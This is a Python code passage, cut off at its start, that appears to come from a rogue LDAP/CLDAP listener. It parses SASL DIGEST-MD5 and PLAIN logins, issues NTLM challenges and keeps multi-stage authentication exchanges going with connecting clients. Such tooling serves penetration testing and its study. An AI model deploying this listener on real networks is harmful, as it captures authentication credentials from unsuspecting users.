						MessageIDBytes = b'\x02'
					
					# Send authMethodNotSupported response
					Buffer = BuildAuthMethodNotSupportedResponse(MessageIDBytes)
					return Buffer
				elif mechanism == 'DIGEST-MD5':
					ParseDIGESTMD5(data, client, Challenge)
				elif mechanism == 'PLAIN':
					ParsePLAINSASL(data, client)
				elif mechanism and settings.Config.Verbose:
					print(text('[LDAP] Detected SASL mechanism: %s from %s' % (mechanism, client.replace("::ffff:", ""))))
				return None
		
		elif Operation == b'\x63':  # Search
			Buffer = ParseSearch(data, client)
			return Buffer
		
		elif settings.Config.Verbose:
			print(text('[LDAP] Operation not supported: 0x%02x' % data[offset]))
	
	except Exception as e:
		if settings.Config.Verbose:
			print(text('[LDAP] Parsing error: %s' % str(e)))
		import traceback
		traceback.print_exc()
	
	return None

class LDAP(BaseRequestHandler):
	"""LDAP handler with improved SASL support"""
	
	def handle(self):
		try:
			self.request.settimeout(30)  # 30 second timeout - typical for LDAP connections
			data = self.request.recv(8092)
			Challenge = RandomChallenge()
			
			# Extended: Try up to 8 exchanges for multi-stage SASL
			for x in range(8):
				Buffer = ParseLDAPPacket(data, self.client_address[0], Challenge)
				
				# Check if we should close connection (after NTLM auth)
				if Buffer == 'CLOSE_CONNECTION':
					break
				
				if Buffer:
					self.request.send(NetworkSendBufferPython2or3(Buffer))
				
				# Try to receive more data, but don't crash if client disconnects
				try:
					data = self.request.recv(8092)
					if not data:
						break
				except:
					# Client disconnected or timeout - normal after root DSE query
					break
		except:
			pass

class CLDAP(BaseRequestHandler):
	"""CLDAP (connectionless LDAP over UDP) handler"""
	
	def handle(self):
		try:
			data, soc = self.request
			Challenge = RandomChallenge()
			
			for x in range(1):
				Buffer = ParseCLDAPPacket(data, self.client_address[0], Challenge)
				if Buffer:
					soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
				data, soc = self.request
		except:
			pass
